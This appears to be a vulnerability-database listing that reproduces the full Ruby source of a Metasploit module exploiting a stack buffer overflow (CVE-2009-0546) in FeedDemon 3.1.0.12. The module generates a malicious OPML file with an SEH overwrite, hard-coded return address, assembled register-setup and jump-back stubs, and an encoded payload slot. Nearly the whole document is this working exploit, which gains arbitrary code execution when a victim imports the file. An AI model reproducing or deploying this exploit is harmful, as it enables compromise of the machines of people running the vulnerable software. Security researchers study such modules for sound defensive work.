FeedDemon <= 3.1.0.12 Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
FeedDemon <= 3.1.0.12 Stack Buffer Overflow when importing opml file, allowing arbitrary code execution, reported originally against version 2.7 in February 200

                                                ##
# $Id: feeddemon_opml.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;FeedDemon &#60;= 3.1.0.12 Stack Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
				is used to import a specially crafted opml file, a buffer overflow occurs allowing
				arbitrary code execution.

				All versions are suspected to be vulnerable. This vulnerability was originally reported
				against version 2.7 in February of 2009.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;fl0 fl0w&#39;,  # Original Exploit
					&#39;dookie&#39;,    # MSF Module
					&#39;jduck&#39;      # SEH + AlphanumMixed fixes
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10998 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2009-0546&#39; ],
					[ &#39;OSVDB&#39;, &#39;51753&#39; ],
					[ &#39;BID&#39;, &#39;33630&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/7995&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/8010&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/11379&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
					&#39;DisablePayloadHandler&#39; =&#62; &#39;true&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1024,
					&#39;BadChars&#39; =&#62; &#34;\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff&#34;,
					&#39;DisableNops&#39; =&#62; true,
					# We are not strictly limited to alphanumeric. However, currently
					# no encoder can handle our bad character set.
					&#39;EncoderType&#39; =&#62; Msf::Encoder::Type::AlphanumMixed,
					&#39;EncoderOptions&#39; =&#62;
						{
							&#39;BufferRegister&#39; =&#62; &#39;ECX&#39;,
						},
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# Tested OK on XPSP3 - jduck
					[ &#39;Windows Universal&#39;,
						{
							&#39;Ret&#39; =&#62; 0x00501655   # p/p/r in FeedDemon.exe v3.1.0.12
						}
					],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 09 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ false, &#39;The file name.&#39;, &#39;msf.opml&#39;]),
			], self.class)

	end

	def exploit

		head_opml = &#39;&#60;opml version=&#34;1.1&#34;&#62;&#39;
		head_opml &#60;&#60; &#39;&#60;body&#62;&#39;
		head_opml &#60;&#60; &#39;&#60;outline text=&#34;&#39;

		header = &#34;\xff\xfe&#34; # Unicode BOM
		header &#60;&#60; Rex::Text.to_unicode(head_opml)

		foot_opml = &#39;&#34;&#62;&#39;
		foot_opml &#60;&#60; &#39;&#60;outline text=&#34;BKIS&#34; title=&#34;SVRT&#34; type=&#34;rss&#34; xmlUrl=&#34;http://milw0rm.com/rss.php&#34;/&#62;&#39;
		foot_opml &#60;&#60; &#39;&#60;/outline&#62;&#39;
		foot_opml &#60;&#60; &#39;&#60;/body&#62;&#39;
		foot_opml &#60;&#60; &#39;&#60;/opml&#62;&#39;
		footer = Rex::Text.to_unicode(foot_opml)

		# Set ECX to point to the alphamixed encoded buffer (IIIII...)
		# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
		off = 0x1ff2
		set_ecx_asm = %Q|
			mov ecx, [esp+8]
			sub ecx, #{0x01010101 + off}
			add ecx, 0x01010101
		|
		set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string

		# Jump back to the payload, after p/p/r jumps to us.
		# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
		# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
		distance = 0x1ffd + 8 + 5
		jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, &#34;jmp $-&#34; + distance.to_s).encode_string

		# SEH
		seh_frame = generate_seh_record(target.ret)

		# Assemble everything together
		sploit = &#39;&#39;
		sploit &#60;&#60; set_ecx
		sploit &#60;&#60; payload.encoded
		sploit &#60;&#60; rand_text_alphanumeric(8194 - sploit.length)
		sploit &#60;&#60; seh_frame
		sploit &#60;&#60; jmp_back
		sploit &#60;&#60; rand_text_alphanumeric(8318 - sploit.length)
		# Ensure access violation reading from smashed pointer
		num = rand_text(4).unpack(&#39;V&#39;)[0]
		sploit &#60;&#60; [num | 0x80000000].pack(&#39;V&#39;)

		evil = header + sploit + footer

		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)

		file_create(evil)

	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1